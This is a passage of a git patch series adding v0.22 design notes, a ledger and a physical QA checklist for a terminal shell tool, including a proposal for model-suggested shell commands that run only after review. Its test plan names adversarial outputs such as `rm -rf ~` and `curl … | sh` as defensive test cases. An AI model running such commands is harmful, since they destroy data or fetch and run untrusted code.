maintainer. + +## U1 — #366: from `/view` to the person's editor + +**Behavior.** In `/view` of a file, `o` opens that file at the first line on screen with the configured "Open with" +target: the surrounding editor (Zed, VS Code) is launched with argv; a terminal editor (`$VISUAL`/`$EDITOR`) gets a +reviewed command placed in the composer for the person to run, never executed silently. With no editor known, the +viewer says how to set one. `/view`'s refusals (too large, binary, not a regular file) name `/open <path>` as the way +on, where it applies. `e` (native `/edit`) is unchanged. + +**Boundaries.** Reuses `resolveHostActions`, `editorArguments` and the `/open` dispatch; no new launcher, no editor +registry, no new PTY ownership. Paths stay single argv elements. Viewing output (not a file) offers nothing new. + +**Tests.** Viewer key → action (`o` only for files, with the top visible line); dispatch for Zed/VS Code (spawn argv), +`$EDITOR` (composer text, nothing executed), none (message); narrow width and `NO_COLOR` footer. + +**Physical QA.** Ghostty and Terminal.app with `$EDITOR=nvim` and with Zed/VS Code integrated terminals. + +## D1 — #389 multiline history browsing (pending decision) + +Reproduction on `dev` (`a8b383c2`): recall a two-line entry with Up, press Up again: the caret moves to the entry's +first line; a third Up recalls the older entry (`tests/composerHistory.test.ts` "a recalled multiline command navigates +its own lines before older history" codifies it). An N-line entry costs N extra presses. Proposed minimal rule: while +the composer shows an unchanged recalled entry, Up/Down step entries; any edit, paste, caret movement other than Up/Down, +or selection ends browsing. Draft multiline editing is unchanged. Implementation would sit in `TerminalApp`'s Up/Down +routing and `ComposerHistory`; `CommandEditor` stays as is. The `History n/N` indicator is a separate step. + +## D2 — natural-language command suggestions (pending decision) + +See [the design](v022-natural-language-commands.md). Summary: one optional, off-by-default `CommandSuggester` behind +Ask, with a local provider (the person's own OpenAI-compatible local runtime) and an optional bring-your-own-key remote +provider; a request is explicit (`/btw` or a `?? ` prefix), the suggestion is shown for review and inserted into the +composer, and only the person's Enter runs it. Nothing about files, environment or transcripts is sent unless the +person attaches it. + +## Release gates + +Per slice: regressions that fail on the old code, focused suites, `verify:fast`, and the full `npm run verify` before +the PR leaves draft. At integration: `verify:release` on the exact head, CI on the exact head (Ubuntu and macOS shards, +Node 22, Fedora subset, timing smoke), and physical QA per slice in Ghostty and Terminal.app. Local runs use +`NMSH_TEST_TMPDIR=/Volumes/T7Tmp/ai-dev` (Unix socket path limit). No release, tag or deployment without the +maintainer. diff --git a/docs/design/v022-natural-language-commands.md b/docs/design/v022-natural-language-commands.md new file mode 100644 index 00000000..a0ec5be4 --- /dev/null +++ b/docs/design/v022-natural-language-commands.md @@ -0,0 +1,136 @@ +# Natural-language command suggestions (proposal) + +**Status: proposal, not approved, not implemented.** Part of the [v0.22 design](v022-daily-use.md) as decision D2; discussed in +[#432](https://github.com/raiseCatError/notMyShell/issues/432). +Nothing here ships without the maintainer's scope decision on the questions at the end. + +## The need + +Some terminals let a person switch fluidly between typing commands and describing what they want ("find files over +100 MB changed this week"), then go straight back to commands. NMSh already has most of the pieces: Ask (`/btw`, +`/ask`, and `/btw <request>` straight from the composer), a deterministic resolver for NMSh's own capabilities, an +optional local model that may only choose among those capabilities, and command classifiers used by paste review and +`/track`. What it cannot do is propose an arbitrary shell command for an arbitrary terminal task. Ask's model contract +deliberately forbids that today ("a model cannot introduce a file, session, worktree or command"). + +## Principles + +1. **Nothing runs by itself.** A suggestion is text shown for review. The only way it runs is the person inserting it + into the composer and pressing Enter, exactly like a command they typed (visible, highlighted, history rules apply). +2. **A request is never shell syntax.** It is entered through an NMSh surface (`/btw`, or an explicit Ask mode in the + composer with its own marker), so it can never reach the shell by accident, even with the feature off. +3. **Send the minimum.** By default only the request text, the shell (zsh, Bash, Fish) and the OS family. No files, + environment, history, transcript, working directory or hostname. Anything more is attached per request, shown first. +4. **One Ask.** This is a new outcome inside the existing Ask, after its deterministic resolver, not a second assistant. +5. **Off by default; useful offline.** With no provider, Ask works as today and says how to enable suggestions. +6. **NMSh's own safety check wins.** The command is classified by NMSh's existing classifier, whatever the model says. + +## Flow + +``` +› /btw find files over 100 MB changed this week + (or: Ask mode in the composer, marked and hinted "Ask NMSh · Enter asks · Esc returns to commands") + +Ask NMSh + 1. Deterministic resolver (unchanged). An NMSh action or answer wins. + 2. Unsupported or unclear, and command suggestions are on → CommandSuggester. + + Suggested command · zsh · Claude Haiku 5.5 with your API key + find . -type f -size +100M -mtime -7 + Lists regular files under this directory over 100 MB, modified in the last 7 days. + Read-only (NMSh check) + Enter Insert into the composer · c Copy · r Refine · Esc Back + +› find . -type f -size +100M -mtime -7 ← the composer, back in command mode; Enter runs it +``` + +Refine sends one follow-up with the previous suggestion (no longer conversation). A suggestion NMSh classifies as +destructive, privileged or writing over the network is shown with that label and needs an explicit second key to +insert; it is never offered as a one-key action. + +## Architecture + +- `src/ask/commandSuggest.ts`: the `CommandSuggester` interface, the fixed prompt, the result schema and validation. + + ```ts + interface SuggestRequest { request: string; shell: 'zsh' | 'bash' | 'fish'; os: 'macos' | 'linux'; attachments?: Attachment[] } + interface CommandSuggestion { command: string; explanation: string } + type SuggestResult = {kind: 'suggestion'; suggestion: CommandSuggestion; usage?: {input: number; output: number}} + | {kind: 'none'; reason: string} | {kind: 'unavailable'; reason: string}; + interface CommandSuggester { id: string; label: string; suggest(request: SuggestRequest, signal: AbortSignal): Promise<SuggestResult> } + ``` + +- Providers, each optional and lazily loaded: + - **Local**: the existing user-global model service (`src/understanding/ModelService.ts`) gains a `command` task type + next to intent and folding, so every window shares one runtime (llama.cpp, or an already-running Ollama or LM + Studio). The recommended 0.6B model is fit for choosing NMSh actions, not for writing shell commands: suggestions + need a larger model the person chose. NMSh never downloads a model for this feature. + - **Anthropic** (bring your own key): the Messages API through the official `@anthropic-ai/sdk`, default model + `claude-haiku-5-5`, low effort, the result constrained by a JSON schema (`output_config.format`) and validated again + locally. + - **OpenAI-compatible endpoint** (optional third): a URL plus an optional key, which covers other hosted services + without per-vendor code. +- Ask gains a typed `suggestion` outcome; `AskPanel` renders it with the existing action controls. +- Settings → Ask → Command suggestions: provider (Off, Local, Anthropic, OpenAI-compatible), model, endpoint, and the + **name** of the environment variable that holds the key (NMSh stores the name, never the key). +- Validation before display: one line unless the person asked for a multi-line script, at most 1 KiB, no control + characters or escape sequences (rendered as visible marks if present, then refused), explanation at most 300 + characters. Anything else is a "could not suggest" result, never a partial command. +- Classification: the same classifier paste review and `/track` use (`src/tasks/repeatSafety.ts` and the shared command + classifier). The model returns no risk field: risk is NMSh's judgment only. + +## Security and privacy + +- **Credentials.** API keys from a provider's developer platform only, read from an environment variable the person + names, at request time, from NMSh's own process (not the managed shell). Never written to configuration, + transcripts, journals, logs or errors. NMSh does not read browser cookies, consumer app sessions or chat + subscriptions, and does not assume a consumer subscription includes API access. +- **What leaves the machine.** Request text, shell and OS family. Attachments (the last command and its exit status, or + one selected output block, bounded and passed through the existing report redaction) are opt-in per request and shown + before sending. The first use of a remote provider shows exactly what will be sent and to which host. +- **Prompt injection.** The request is the person's own text; an attached output block is untrusted. Because nothing is + executed and NMSh classifies the result itself, an injected instruction can at worst produce a suggestion the person + sees, with NMSh's label. +- **Recording.** Ask's existing "Record Ask in transcript" setting applies to the visible request and suggestion. The + prompt sent to the provider and raw responses are never stored. Ask text never enters shell history. +- **Network.** HTTPS to the configured host only; a 15 s timeout; Esc cancels; no background or speculative requests; + no telemetry. + +## Cost and tokens + +A request is a fixed instruction of roughly 300–400 tokens plus the request (20–60 tokens); the answer is 50–150 +tokens. On `claude-haiku-5-5` at $0.10 per million input and $0.50 per million output tokens (current list price for +prompts up to 100K tokens), that is about $0.0001–0.0003 per suggestion, or $0.10–0.30 per thousand, including some +thinking at low effort. Prompt caching does not apply (the fixed prefix is below the minimum cacheable size) and is not +needed. Ask can show a suggestion's token use. Local providers cost nothing beyond the machine's own resources; on an 8 +GB Mac a model large enough to write commands competes with everything else, which is a reason the local path is never +started implicitly. + +## Not in scope + +No agent loop, tool use, file reading, multi-step plans or automatic execution; no conversation memory beyond one +refinement; no new assistant surface; no replacement of the deterministic resolver; no change to how commands run. + +## Tests (if approved) + +Fake providers only (no network in tests): schema validation; adversarial outputs (escape sequences, control +characters, multi-line, oversize, `rm -rf ~`, `curl … | sh`, a command hidden after a newline); NMSh's label overriding +any model wording; insert puts the exact text in the composer and runs nothing; Esc and timeout cancel; missing key, +unreachable endpoint and model refusal each produce a clear message and the deterministic result; nothing secret in +transcripts, journals or settings; narrow width, `NO_COLOR` and Safe glyphs. + +## Questions for the maintainer + +1. **Remote providers at all?** The ROADMAP's design principles keep the core experience free of cloud inference. An + off-by-default, bring-your-own-key provider outside the core would be a new boundary. Yes, no, or local only? +2. **Which provider first?** Recommendation: local (the existing model service) first, Anthropic second, generic + OpenAI-compatible third. +3. **Entry point.** `/btw` only (exists today), or also an Ask mode toggled from the composer? Which key, after the + keymap conflict review (#335)? +4. **Key storage.** Environment variable name only (recommended for a first slice), or also macOS Keychain / Secret + Service? +5. **Dependency.** The official Anthropic SDK (one dependency, loaded only when that provider is chosen) for the + Anthropic provider, if it is approved. + +A bounded first slice, once approved: the `suggestion` outcome, the local provider, insert/copy/refine, NMSh's +classification and the validation rules. The remote providers follow as a second slice after the credential review. diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md new file mode 100644 index 00000000..1f1dabbf --- /dev/null +++ b/docs/development/v022-ledger.md @@ -0,0 +1,69 @@ +# v0.22 ledger + +Durable state of the v0.22 candidate (#431) so a later session can resume without rediscovering it. Design and +acceptance: [v0.22 design](../design/v022-daily-use.md). Automated results here are not physical-terminal validation. + +## Baseline (verified 2026-10-18) + +- `dev` = `a8b383c2` (v0.21 integrated, plus #425, #427, #428). `master` = `6af5cbab` (v0.20.0 line), an ancestor of + `dev`. `release/v0.21.0` = `d9e08393` (`dev` at `433af8fd` plus the candidate commit). +- PR #430 (`dev` → `release/v0.21.0`): open, CI green, **not merged** at baseline. Draft PR #429 is the v0.21 release. +- **v0.22 PRs stay draft against `dev` until #430 merges** (its head is `dev`, so anything merged earlier would ride + into the release candidate). Nothing in v0.22 touches `release/v0.21.0`, its QA evidence, `master` or publishing. +- Worktree: `/Volumes/T7Tmp/ai-dev/worktrees/notMyShell/v022` (APFS volume `T7Tmp`, UUID + `62D4E8A9-087C-4927-A62F-25BB88B7F1C7`); unfixed comparison worktree `…/v022-base` (detached at `a8b383c2`). + Scratch and evidence: `/Volumes/T7Tmp/ai-dev/scratch/v022/`. Tests run with `NMSH_TEST_TMPDIR=/Volumes/T7Tmp/ai-dev`. + +## Slices + +| # | Slice | Issues | Branch / PR | State | +| --- | --- | --- | --- | --- | +| 0 | Design, ledger, NL proposal | #431, #432 | `docs/v022-design` (this ledger's PR) | Draft PR | +| R1 | Input ownership under load | #426 | `fix/v022-input-ownership-look` / #433 | Draft PR; automated verification done | +| R2 | Fish keys after a handed-over read | #356 | — | Investigation | +| U1 | `/view` → open in editor | #366 | `feature/v022-view-open-editor` / #434 | Draft PR | +| D1 | Multiline history browsing | #389 | — | Reproduced; awaiting maintainer decision | +| D2 | Natural-language command suggestions | #432 | — | Proposal; awaiting maintainer decision | + +## Decisions + +- **#426: hold until the owner is known, not the issue's split example.** Routing text at 800 ms and holding only the + Enter fixes queueing but still draws a hidden reply whenever the look is slow (prompt-less `read -s`, prompted + `sudo`/`ssh`). The unfixed baseline failed the live "hidden answer is never drawn" assertion that way under load. + Held keys now wait for the look (bounded at 5 s) with a composer note after 800 ms. Cost only on a loaded machine. +- **#426: a runnable first sample is inconclusive.** One sample of a process on a CPU with nothing to compare no longer + ends a look; when the shell holds its terminal the follow-up decides. Every other evidence path is unchanged. +- **macOS has no kernel read report.** `ps -o wchan` prints `-` for every process on macOS 27 (checked: zsh/bash + `read`, `cat`, `sleep`, a busy loop, Python `select`, Node stdin), so the two-sample rule stays on macOS. +- **#389 needs a decision, not a guess.** Reproduced on `dev`; the maintainer triaged it as working in practice and a + test codifies the current behavior, so the change waits for an explicit yes. +- **NL suggestions are a product-direction question** (remote model APIs vs. the ROADMAP principle). Proposal only. +- **Paused/deferred issues stay as they are** (#330–#332, #337–#340, #333–#335, #341, #398, #399, #304, #296, #15). + +## Verification notes + +- R1 regressions: 7 tests fail on `a8b383c2` and pass on the fix (`tests/inputOwnershipLook.test.ts`, the #426 watch + test in `tests/inputAwareness.test.ts`). On the unfixed code a password typed at once for a prompt-less `read -s` + is queued as a shell command when the look outlasts 800 ms. +- R1 live, 4 copies of `tests/inputOwnershipLive.test.ts` in parallel (load and swap from other work on the machine): + the unfixed baseline reproduced #426 itself (load 33–121: `timed out waiting for ANSWER=hello`, status + `Probably waiting for input · zsh · ≡ 1 queued`) and, in another round, a drawn hidden reply (`hidden line after 0 + ms: the hidden answer is never drawn`). The final fix: 15 of 16 copies clean across four rounds (load 3–20). The one + failure, `a command typed right after a read returns, or right after Ctrl+C` (`timed out waiting for the command + after Ctrl+C to run`), then passed 18/18 targeted runs (12 of them 4× parallel) on the fix and 18/18 on the baseline; + it does not exercise held keys (typing after Ctrl+C is type-ahead). Recorded as a possible pre-existing test race + (Ctrl+C landing before `read` starts lets the typed line answer the read). +- CPU contention alone does not reproduce #426: at load 64 a probe (`stty` + `ps`) took 10 ms p50, 39 ms max. The + audit's slow looks came with memory pressure (5–7 GB of swap); this session did not induce swap deliberately. +- Environment, not product: a Finder window on the T7 makes `LiveSandbox.dispose`'s `lsof +D` see Finder (pid 44738) + as a sandbox process and time out; a round at load ~20 stalled every frontend's startup on both builds. + +## Physical QA still required + +R1: Ghostty and Terminal.app, zsh, Bash and Fish (see the design's R1 section). Nothing in v0.22 has had a physical +pass. + +## Open risks + +- #430 unmerged: v0.22 cannot integrate into `dev` yet. +- The changelog entries sit in `dev`'s `[Unreleased]` beside v0.21's and move at reconciliation. From 60f8490c863c3d9e75d2a488c19cef7a5430873a Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 23:20:44 +0530 Subject: [PATCH 050/157] v0.22: physical QA checklist for #433 and #434; ledger links #436 Refs #431 --- docs/development/v022-ledger.md | 8 ++-- docs/testing/v022-physical-qa.md | 67 ++++++++++++++++++++++++++++++++ 2 files changed, 71 insertions(+), 4 deletions(-) create mode 100644 docs/testing/v022-physical-qa.md diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index 1f1dabbf..0c22b965 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -51,8 +51,8 @@ acceptance: [v0.22 design](../design/v022-daily-use.md). Automated results here ms: the hidden answer is never drawn`). The final fix: 15 of 16 copies clean across four rounds (load 3–20). The one failure, `a command typed right after a read returns, or right after Ctrl+C` (`timed out waiting for the command after Ctrl+C to run`), then passed 18/18 targeted runs (12 of them 4× parallel) on the fix and 18/18 on the baseline; - it does not exercise held keys (typing after Ctrl+C is type-ahead). Recorded as a possible pre-existing test race - (Ctrl+C landing before `read` starts lets the typed line answer the read). + it does not exercise held keys (typing after Ctrl+C is type-ahead). Filed as #436 (needs reproduction; possible + race: Enter right after Ctrl+C writes the line to the PTY before the shell has acted on SIGINT). - CPU contention alone does not reproduce #426: at load 64 a probe (`stty` + `ps`) took 10 ms p50, 39 ms max. The audit's slow looks came with memory pressure (5–7 GB of swap); this session did not induce swap deliberately. - Environment, not product: a Finder window on the T7 makes `LiveSandbox.dispose`'s `lsof +D` see Finder (pid 44738) @@ -60,8 +60,8 @@ acceptance: [v0.22 design](../design/v022-daily-use.md). Automated results here ## Physical QA still required -R1: Ghostty and Terminal.app, zsh, Bash and Fish (see the design's R1 section). Nothing in v0.22 has had a physical -pass. +Checklist: [v0.22 physical QA](../testing/v022-physical-qa.md). Pass 1 for R1 (#433), pass 2 for U1 (#434). Nothing in +v0.22 has had a physical pass. ## Open risks diff --git a/docs/testing/v022-physical-qa.md b/docs/testing/v022-physical-qa.md new file mode 100644 index 00000000..de1cbf46 --- /dev/null +++ b/docs/testing/v022-physical-qa.md @@ -0,0 +1,67 @@ +# v0.22 physical QA + +## Status + +- **Candidate slices, not integrated.** Each pass belongs to a draft PR held until #430 merges; see the + [ledger](../development/v022-ledger.md). Nothing below has been run yet. +- **What does not count:** headless PTY fixtures, synthetic keys, captures of a window driven that way, and green CI. + Each item needs a person at a real terminal with a real keyboard. +- **Build under test:** the PR head (or the later integration commit), built from a clean checkout (`npm ci && npm run + build`); record `node dist/index.js --version` in every row. +- **Isolation:** `scripts/qa/v021-fixtures.sh <new-directory>` (unchanged, from v0.21) makes a throwaway folder with its + own NMSh configuration and session service, so the QA build neither reads your settings nor attaches to your running + sessions. Your shell's own startup files still run. + +## Results + +| Pass | Host and version | OS | Shell and version | Commit | Result | Notes | +|---|---|---|---|---|---|---| +| 1 Input ownership under load (#426, #433) | Ghostty | macOS | zsh | | Not run | | +| 1 Input ownership under load (#426, #433) | Terminal.app | macOS | Bash | | Not run | | +| 1 Input ownership under load (#426, #433) | Ghostty | macOS | Fish | | Not run | | +| 2 `/view` → your editor (#366, #434) | Ghostty | macOS | zsh | | Not run | | +| 2 `/view` → your editor (#366, #434) | Terminal.app | macOS | Fish | | Not run | | +| 2 `/view` → your editor (#366, #434) | Zed or VS Code terminal | macOS | zsh | | Not run | | + +## Walkthrough + +**Prepare once,** in a plain terminal window (not inside NMSh), from the checkout of the build under test: + +```sh +node dist/index.js --version +scripts/qa/v021-fixtures.sh /Volumes/T7Tmp/ai-dev/q22 +``` + +Launch with `/Volumes/T7Tmp/ai-dev/q22/nmsh` (zsh), `… nmsh bash` or `… nmsh fish`; quit with `exit`. + +### Pass 1: input ownership (#426) + +1.1 `read -r reply; echo got=$reply` (Fish: `read reply; echo got=$reply`). Type `hello` and Enter **at once**, without +waiting: `got=hello`, the status row never shows `queued`. +1.2 The same after a two-second pause: same result. +1.3 `read -s` (no prompt; Bash: `read -rs`; Fish: `read --silent reply`). Type `QSECRETQ` and Enter at once: the text +never appears anywhere on screen and nothing is queued. Then `sudo -k true` (Cancel with Ctrl+C after typing if you +prefer not to authenticate): the password is never shown in the composer. +1.4 `sleep 5`, then type `echo next` and Enter at once: it is queued immediately (`≡ 1 queued`) and runs after `sleep`. +1.5 Load: in a second window run something heavy (a large build or test suite, or several at once), then repeat 1.1 and +1.3 a few times. The composer may briefly say `Checking whether … is waiting for input · your typing is kept`; either +way the answer reaches the read and nothing is shown or queued. Note whether the note appeared and roughly how long. +1.6 Ctrl+C right after typing during 1.5's note: typing is routed (as before the change) and the command is interrupted. + +### Pass 2: `/view` → your editor (#366) + +Make a long file first: `seq 1 500 > long.txt`. + +2.1 With `EDITOR=nvim` (or `vim`) exported in your shell startup or the launching window: `/view long.txt`, scroll to +about line 200 (`:200` Enter), press `o`. The viewer closes and the composer holds `nvim +200 /…/long.txt` (nothing +runs). Enter opens the editor at line 200; quitting it returns to NMSh's composer. +2.2 Type a draft (`git status`), then `/view long.txt` via Actions or `/view`, press `o`: the viewer stays and says the +composer has a draft; the draft is unchanged after Esc. +2.3 A name with spaces: `printf 'x\n' > 'my notes.txt'`, `/view "my notes.txt"`, `o`: the composer command quotes the +path as one argument. +2.4 With `VISUAL` and `EDITOR` unset, outside any editor: `o` says no editor is known and how to set one. +2.5 Inside Zed's or VS Code's integrated terminal: `o` opens the file at the line in that editor; the viewer stays. +2.6 Markdown: `/view README.md` (rendered), `o` opens at the start; after `m` (source) it opens at the line shown. +2.7 Narrow window (about 46 columns): the footer wraps and `Esc close` stays visible. + +**Reporting.** One line per pass, for example `Pass 1 · Ghostty 1.3.1 · zsh 5.9: PASS (note seen once, ~1 s)`. From 45d071cedb68f916368c0b5ed593b6c70eed2d70 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 23:21:08 +0530 Subject: [PATCH 051/157] v0.22 QA: /view takes the rest of the line as the path, without quotes Refs #431 --- docs/testing/v022-physical-qa.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/testing/v022-physical-qa.md b/docs/testing/v022-physical-qa.md index de1cbf46..709b5b51 100644 --- a/docs/testing/v022-physical-qa.md +++ b/docs/testing/v022-physical-qa.md @@ -57,8 +57,8 @@ about line 200 (`:200` Enter), press `o`. The viewer closes and the composer hol runs). Enter opens the editor at line 200; quitting it returns to NMSh's composer. 2.2 Type a draft (`git status`), then `/view long.txt` via Actions or `/view`, press `o`: the viewer stays and says the composer has a draft; the draft is unchanged after Esc. -2.3 A name with spaces: `printf 'x\n' > 'my notes.txt'`, `/view "my notes.txt"`, `o`: the composer command quotes the -path as one argument. +2.3 A name with spaces: `printf 'x\n' > 'my notes.txt'`, `/view my notes.txt` (the rest of the line is the path, no +quotes), `o`: the composer command quotes the path as one argument. 2.4 With `VISUAL` and `EDITOR` unset, outside any editor: `o` says no editor is known and how to set one. 2.5 Inside Zed's or VS Code's integrated terminal: `o` opens the file at the line in that editor; the viewer stays. 2.6 Markdown: `/view README.md` (rendered), `o` opens at the start; after `m` (source) it opens at the line shown. From c5925167e049b4479d2439060046853648947185 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 23:21:27 +0530 Subject: [PATCH 052/157] v0.22 QA: a reachable step for o while a command runs Refs #431 --- docs/testing/v022-physical-qa.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/docs/testing/v022-physical-qa.md b/docs/testing/v022-physical-qa.md index 709b5b51..38f955cd 100644 --- a/docs/testing/v022-physical-qa.md +++ b/docs/testing/v022-physical-qa.md @@ -55,8 +55,9 @@ Make a long file first: `seq 1 500 > long.txt`. 2.1 With `EDITOR=nvim` (or `vim`) exported in your shell startup or the launching window: `/view long.txt`, scroll to about line 200 (`:200` Enter), press `o`. The viewer closes and the composer holds `nvim +200 /…/long.txt` (nothing runs). Enter opens the editor at line 200; quitting it returns to NMSh's composer. -2.2 Type a draft (`git status`), then `/view long.txt` via Actions or `/view`, press `o`: the viewer stays and says the -composer has a draft; the draft is unchanged after Esc. +2.2 While a command runs: `sleep 20`, then `/view long.txt`, `o`. The editor command is placed in the composer; +Enter queues it (`≡ 1 queued`) and the editor opens after `sleep` ends. (A draft already in the composer is never +replaced; that case is covered by automated tests, since opening `/view` empties the composer.) 2.3 A name with spaces: `printf 'x\n' > 'my notes.txt'`, `/view my notes.txt` (the rest of the line is the path, no quotes), `o`: the composer command quotes the path as one argument. 2.4 With `VISUAL` and `EDITOR` unset, outside any editor: `o` says no editor is known and how to set one. From 1b913daa3f6840016949bd2ea94a040d535a7ed8 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 23:25:45 +0530 Subject: [PATCH 053/157] v0.22 ledger: R1 and U1 verification results Refs #431 --- docs/development/v022-ledger.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index 0c22b965..ea015b34 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -19,9 +19,9 @@ acceptance: [v0.22 design](../design/v022-daily-use.md). Automated results here | # | Slice | Issues | Branch / PR | State | | --- | --- | --- | --- | --- | | 0 | Design, ledger, NL proposal | #431, #432 | `docs/v022-design` (this ledger's PR) | Draft PR | -| R1 | Input ownership under load | #426 | `fix/v022-input-ownership-look` / #433 | Draft PR; automated verification done | +| R1 | Input ownership under load | #426 | `fix/v022-input-ownership-look` / #433 | Draft PR; local full verify and CI green | | R2 | Fish keys after a handed-over read | #356 | — | Investigation | -| U1 | `/view` → open in editor | #366 | `feature/v022-view-open-editor` / #434 | Draft PR | +| U1 | `/view` → open in editor | #366 | `feature/v022-view-open-editor` / #434 | Draft PR; local full verify green | | D1 | Multiline history browsing | #389 | — | Reproduced; awaiting maintainer decision | | D2 | Natural-language command suggestions | #432 | — | Proposal; awaiting maintainer decision | @@ -53,6 +53,10 @@ acceptance: [v0.22 design](../design/v022-daily-use.md). Automated results here after Ctrl+C to run`), then passed 18/18 targeted runs (12 of them 4× parallel) on the fix and 18/18 on the baseline; it does not exercise held keys (typing after Ctrl+C is type-ahead). Filed as #436 (needs reproduction; possible race: Enter right after Ctrl+C writes the line to the PTY before the shell has acted on SIGINT). +- R1 full `npm run verify` on `6958c277` (load 9–14): 3,152 tests, 3,150 pass, 2 skipped, 0 failed. CI on #433 + (macOS and Ubuntu shards, Node 22, Quality, Verify 22.x/26.x): green. +- U1: 5 new tests fail before the change and pass after; full `npm run verify` on `5d81d93e` (load 4–13): 3,148 + tests, 3,146 pass, 2 skipped, 0 failed. - CPU contention alone does not reproduce #426: at load 64 a probe (`stty` + `ps`) took 10 ms p50, 39 ms max. The audit's slow looks came with memory pressure (5–7 GB of swap); this session did not induce swap deliberately. - Environment, not product: a Finder window on the T7 makes `LiveSandbox.dispose`'s `lsof +D` see Finder (pid 44738) From c996b3884d5f093bb585eb2f4e871fc10d8ca7a7 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 23:26:34 +0530 Subject: [PATCH 054/157] v0.22: hold PRs until v0.21 ships, not only until #430 #430 has merged dev into release/v0.21.0. A fix v0.21's physical QA needs would reach the release the same way, so v0.22 work stays out of dev until the release ships. Refs #431 --- docs/design/v022-daily-use.md | 9 +++++---- docs/development/v022-ledger.md | 10 ++++++---- 2 files changed, 11 insertions(+), 8 deletions(-) diff --git a/docs/design/v022-daily-use.md b/docs/design/v022-daily-use.md index 7a88c070..14c0ca13 100644 --- a/docs/design/v022-daily-use.md +++ b/docs/design/v022-daily-use.md @@ -13,10 +13,11 @@ run unexpectedly. On that foundation it adds a small number of workflow improvem ## Baseline and the v0.21 release boundary - Baseline: `dev` at `a8b383c2` (v0.21 integrated: #411–#424, then #425, #427 and #428). -- `release/v0.21.0` (`d9e08393`) is `dev` at `433af8fd` plus its candidate commit. PR #430 (`dev` → `release/v0.21.0`) - carries #425, #427 and #428 into it and is open, green and unmerged. Draft PR #429 is the release itself. -- **Rule:** v0.22 PRs target `dev` but stay **draft and unmerged until #430 has merged**. #430's head is `dev`; anything - merged into `dev` before it would ride into the release candidate. v0.22 never touches `release/v0.21.0`, its QA +- `release/v0.21.0` is now `86bb3a6c`: PR #430 merged `dev` (`a8b383c2`) into it on 2026-10-18. Draft PR #429 is the + release itself; its physical QA has not run. +- **Rule:** v0.22 PRs target `dev` but stay **draft and unmerged until v0.21 has shipped**. A fix that v0.21's physical + QA needs lands on `dev` and reaches the release branch by another `dev` → `release/v0.21.0` merge, as #430 did, so + anything v0.22 merged into `dev` before the release would ride along. v0.22 never touches `release/v0.21.0`, its QA evidence, `master` or the publishing workflow. - After v0.21 ships (release PR merged into `master`, tag published), reconcile: bring `master` back into `dev` if the runbook does, rebase the open v0.22 branches, and move v0.22 changelog entries into the new `[Unreleased]` section diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index ea015b34..8b90213a 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -7,9 +7,11 @@ acceptance: [v0.22 design](../design/v022-daily-use.md). Automated results here - `dev` = `a8b383c2` (v0.21 integrated, plus #425, #427, #428). `master` = `6af5cbab` (v0.20.0 line), an ancestor of `dev`. `release/v0.21.0` = `d9e08393` (`dev` at `433af8fd` plus the candidate commit). -- PR #430 (`dev` → `release/v0.21.0`): open, CI green, **not merged** at baseline. Draft PR #429 is the v0.21 release. -- **v0.22 PRs stay draft against `dev` until #430 merges** (its head is `dev`, so anything merged earlier would ride - into the release candidate). Nothing in v0.22 touches `release/v0.21.0`, its QA evidence, `master` or publishing. +- PR #430 (`dev` → `release/v0.21.0`) was open at the start of the session and merged at 22:02 IST the same day: + `release/v0.21.0` = `86bb3a6c`, which contains `dev` `a8b383c2`. Draft PR #429 is the v0.21 release. +- **v0.22 PRs stay draft against `dev` until v0.21 ships**: a fix v0.21's QA needs lands on `dev` and reaches the + release by another `dev` → release merge, which would carry anything v0.22 merged earlier. Nothing in v0.22 + touches `release/v0.21.0`, its QA evidence, `master` or publishing. - Worktree: `/Volumes/T7Tmp/ai-dev/worktrees/notMyShell/v022` (APFS volume `T7Tmp`, UUID `62D4E8A9-087C-4927-A62F-25BB88B7F1C7`); unfixed comparison worktree `…/v022-base` (detached at `a8b383c2`). Scratch and evidence: `/Volumes/T7Tmp/ai-dev/scratch/v022/`. Tests run with `NMSH_TEST_TMPDIR=/Volumes/T7Tmp/ai-dev`. @@ -69,5 +71,5 @@ v0.22 has had a physical pass. ## Open risks -- #430 unmerged: v0.22 cannot integrate into `dev` yet. +- v0.21 unreleased: v0.22 cannot integrate into `dev` yet (see the rule above). - The changelog entries sit in `dev`'s `[Unreleased]` beside v0.21's and move at reconciliation. From 742bfbd62e936fbacbc2a3cbc72aab603ee85d82 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 23:26:49 +0530 Subject: [PATCH 055/157] v0.22 ledger: state the #430 merge precisely Refs #431 --- docs/development/v022-ledger.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index 8b90213a..33253f2e 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -7,8 +7,8 @@ acceptance: [v0.22 design](../design/v022-daily-use.md). Automated results here - `dev` = `a8b383c2` (v0.21 integrated, plus #425, #427, #428). `master` = `6af5cbab` (v0.20.0 line), an ancestor of `dev`. `release/v0.21.0` = `d9e08393` (`dev` at `433af8fd` plus the candidate commit). -- PR #430 (`dev` → `release/v0.21.0`) was open at the start of the session and merged at 22:02 IST the same day: - `release/v0.21.0` 